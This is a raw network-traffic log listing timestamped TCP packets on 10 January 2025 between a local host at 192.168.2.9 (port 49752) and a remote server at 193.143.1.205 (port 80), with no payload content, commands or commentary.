Jan 10, 2025 17:13:10.135907888 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135920048 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135931015 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135942936 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135955095 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135966063 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135967970 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.136012077 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.136482954 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.136495113 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.136506081 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.136518002 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.136528015 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.136533022 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.136544943 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.136555910 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.136568069 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.136595011 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.137080908 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137099028 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137111902 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137123108 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137123108 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.137135983 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137146950 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137146950 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.137160063 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137171030 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137180090 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.137182951 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137195110 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137197018 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.137207985 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137217999 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.137221098 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137233973 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137247086 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137250900 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.137271881 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.137859106 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.137902021 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.138050079 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138067961 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138079882 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138089895 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138101101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138104916 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.138107061 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138113976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138123989 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138137102 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138143063 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.138149023 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138160944 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138171911 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138183117 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138192892 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.138212919 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.138923883 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138936043 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138947010 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.138968945 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.138978958 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.139395952 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.142848015 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.186244965 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.186283112 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.186296940 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.186309099 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.186321020 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.186333895 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.186382055 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.200093031 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.200105906 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.200117111 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.200129032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.200176954 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.200228930 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.209553003 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209583044 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209604979 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209615946 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209634066 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209645033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209656000 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209706068 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.209754944 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.209774017 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209784985 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.209830046 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.210402966 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.210417986 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.210427999 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.210477114 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.222145081 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.222161055 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.222172976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.222191095 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.222202063 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.222256899 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.222310066 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.244333029 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244349957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244364977 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244375944 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244388103 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244399071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244455099 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244472980 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244484901 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244484901 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.244497061 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.244530916 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.244530916 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.244545937 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256386042 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256405115 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256417990 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256429911 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256442070 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256478071 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256489038 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256503105 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256515980 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256525993 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256541014 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256545067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256557941 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256570101 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256572008 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256582975 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256588936 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256613970 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256637096 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256675005 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256730080 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256746054 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256761074 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256768942 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256783009 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256805897 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256920099 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.256966114 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.256988049 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257000923 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257011890 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257030010 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257110119 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257122040 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257128954 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257143021 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257153988 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257165909 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257194996 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257308006 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257320881 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257328033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257344961 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257354975 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257355928 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257369995 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257394075 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257417917 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257596970 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257608891 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257621050 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257632017 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257652998 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257671118 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257752895 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257764101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257775068 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257813931 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257872105 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257884026 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257894993 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257906914 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257910967 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257920980 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257932901 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257934093 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257950068 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.257971048 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.257987976 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258378983 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258395910 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258414984 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258424997 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258438110 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258443117 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258450985 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258456945 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258464098 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258470058 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258483887 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258498907 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258506060 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258510113 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258522987 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258533001 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258533955 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258548021 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258558035 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258560896 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258574963 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258586884 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258591890 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258599043 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258610010 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258611917 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258624077 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.258639097 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.258658886 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.261379957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261400938 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261411905 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261426926 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261437893 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261440039 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.261473894 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.261498928 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261512041 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261535883 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.261554956 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261567116 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261593103 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.261673927 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261687040 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261698961 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261709929 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261717081 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.261720896 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261734009 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261744976 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.261749983 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261759996 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.261778116 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.261791945 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.291145086 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.291191101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.291203976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.291214943 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.291227102 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.291238070 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.291253090 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.291264057 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.291296959 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.297302008 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.297319889 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.297333002 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.297343969 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.297355890 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.297368050 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.297383070 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.297386885 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.297430038 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.298557997 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.309665918 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.309705019 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.309716940 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.309731007 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.309731960 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.309743881 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.309756994 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.309768915 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.309779882 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.309798956 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.309820890 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.331831932 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331860065 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331872940 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331886053 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331899881 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.331903934 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331916094 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331928015 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331940889 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.331942081 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331957102 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331973076 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331983089 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.331989050 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.332003117 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.332015991 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.332022905 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.332029104 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.332041025 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.332052946 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.332063913 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.332063913 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.332108974 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344057083 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344075918 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344151020 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344155073 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344168901 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344182014 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344204903 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344218016 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344228029 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344239950 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344244003 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344252110 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344266891 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344269991 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344278097 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344290972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344290972 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344312906 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344312906 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344336033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344347000 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344355106 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344360113 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344372988 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344381094 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344384909 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344398022 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344408989 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344408989 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344424009 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344445944 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344465971 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344477892 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344484091 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344491005 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344502926 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344512939 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344531059 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344563007 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344573975 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344584942 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344594955 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344602108 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344607115 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344619989 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344643116 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344643116 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344667912 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344733000 CET	80	49752	193.143.1.205	192.168.2.9
